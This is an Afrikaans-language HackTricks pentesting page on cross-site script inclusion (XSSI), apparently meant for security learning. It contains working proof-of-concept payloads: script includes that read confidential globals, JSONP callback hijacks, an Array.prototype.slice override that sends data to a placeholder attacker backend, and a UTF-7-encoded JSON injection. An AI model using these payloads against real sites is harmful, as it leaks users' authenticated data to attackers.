7.8 KiB
XSSI (Kruiswebwerfinskripsie)
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks-uitrusting
- Ontdek The PEASS Family, ons versameling eksklusiewe NFT's
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslagplekke.
Basiese Inligting
Kruiswebwerfinskripsie (XSSI) is 'n kwesbaarheid wat voortspruit uit die aard van die script
-etiket in HTML. In teenstelling met die meeste hulpbronne, wat onderhewig is aan die Gelyke-Oorsprongbeleid (SOP), kan skripsies ingesluit word vanaf verskillende domeine. Hierdie gedrag is bedoel om die gebruik van biblioteke en ander hulpbronne wat op verskillende bedieners gehuisves word, te vergemaklik, maar dit stel ook 'n potensiële veiligheidsrisiko in.
Sleutelkenmerke van XSSI:
- Oorskryding van SOP: Skripsies is vrygestel van die Gelyke-Oorsprongbeleid, wat hulle in staat stel om oor domeine ingesluit te word.
- Data-uitlê: 'n Aanvaller kan hierdie gedrag uitbuit om data wat gelaai is via die
script
-etiket te lees. - Impak op Dinamiese JavaScript/JSONP: XSSI is veral relevant vir dinamiese JavaScript of JSON met Opvulling (JSONP). Hierdie tegnologieë gebruik dikwels "omgewingsgesag" -inligting (soos koekies) vir outentisering. Wanneer 'n skripsieversoek na 'n ander gasheer gestuur word, word hierdie geloofsbriewe (bv. koekies) outomaties ingesluit by die versoek.
- Uitlek van outentiseringsleutels: As 'n aanvaller 'n gebruiker se webblaaier kan mislei om 'n skripsie van 'n bediener wat hulle beheer, aan te vra, kan hulle moontlik toegang verkry tot sensitiewe inligting wat in hierdie versoek ingesluit is.
Tipes
- Statische JavaScript - Dit verteenwoordig die konvensionele vorm van XSSI.
- Statische JavaScript met outentisering - Hierdie tipe is onderskeibaar omdat dit outentisering vereis om toegang te verkry.
- Dinamiese JavaScript - Behels JavaScript wat dinamies inhoud genereer.
- Nie-JavaScript - Verwys na kwesbaarhede wat nie direk met JavaScript verband hou nie.
Die volgende inligting is 'n opsomming van https://www.scip.ch/en/?labs.20160414. Kyk daar vir verdere besonderhede.
Gewone XSSI
In hierdie benadering word privaat inligting ingebed binne 'n wêreldwyd toeganklike JavaScript-lêer. Aanvallers kan hierdie lêers identifiseer deur metodes soos lêerlesing, sleutelwoordsoektogte of regulêre uitdrukkings te gebruik. Sodra dit gevind is, kan die skripsie wat privaat inligting bevat, ingesluit word in skadelike inhoud, wat ongemagtigde toegang tot sensitiewe data moontlik maak. 'n Voorbeeld van 'n uitbuitingstegniek word hieronder getoon:
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
Dinamies-gebaseerde-JavaScript-XSSI en Geauthentiseerde-JavaScript-XSSI
Hierdie tipes XSSI-aanvalle behels vertroulike inligting wat dinamies by die skrip gevoeg word as reaksie op 'n gebruiker se versoek. Opstel kan uitgevoer word deur versoek te stuur met en sonder koekies en die antwoorde te vergelyk. As die inligting verskil, kan dit dui op die teenwoordigheid van vertroulike inligting. Hierdie proses kan outomaties gedoen word met behulp van hulpmiddels soos die DetectDynamicJS Burp-uitbreiding.
As vertroulike data in 'n globale veranderlike gestoor word, kan dit uitgebuit word met behulp van soortgelyke metodes as dié wat gebruik word in Gewone XSSI. As die vertroulike data egter in 'n JSONP-antwoord ingesluit is, kan aanvallers die terugroepfunksie kaap om die inligting te onttrek. Dit kan gedoen word deur óf globale objekte te manipuleer óf 'n funksie op te stel wat deur die JSONP-antwoord uitgevoer moet word, soos hieronder gedemonstreer:
<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
Vir veranderlikes wat nie in die globale naamruimte woon nie, kan prototipe-versteuring soms uitgebuit word. Hierdie tegniek maak gebruik van JavaScript se ontwerp, waar kode-interpretasie die prototipeketting deurloop om die geroepte eienskap te vind. Deur sekere funksies, soos Array
se slice
, te oorskryf, kan aanvallers toegang verkry en nie-globale veranderlikes uitlek:
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
Verdere besonderhede oor aanvalsvektore kan gevind word in die werk van Sekuriteitsnavorsers Sebastian Lekies, wat 'n lys van vektore onderhou.
Nie-Skripsie-XSSI
Takeshi Terada se navorsing stel 'n ander vorm van XSSI voor, waar Nie-Skripsie-lêers, soos CSV, oor grense heen uitgelek word deur as bronne in 'n script
-etiket ingesluit te word. Historiese gevalle van XSSI, soos Jeremiah Grossman se aanval in 2006 om 'n volledige Google-adresboek te lees en Joe Walker se 2007 JSON-datalek, beklemtoon die erns van hierdie bedreigings. Daarbenewens beskryf Gareth Heyes 'n aanvalvariant wat UTF-7 gekodeerde JSON betrek om die JSON-formaat te ontsnap en skripte uit te voer, wat effektief is in sekere webblaaier:
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling van eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacking-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud GitHub-opslagplekke.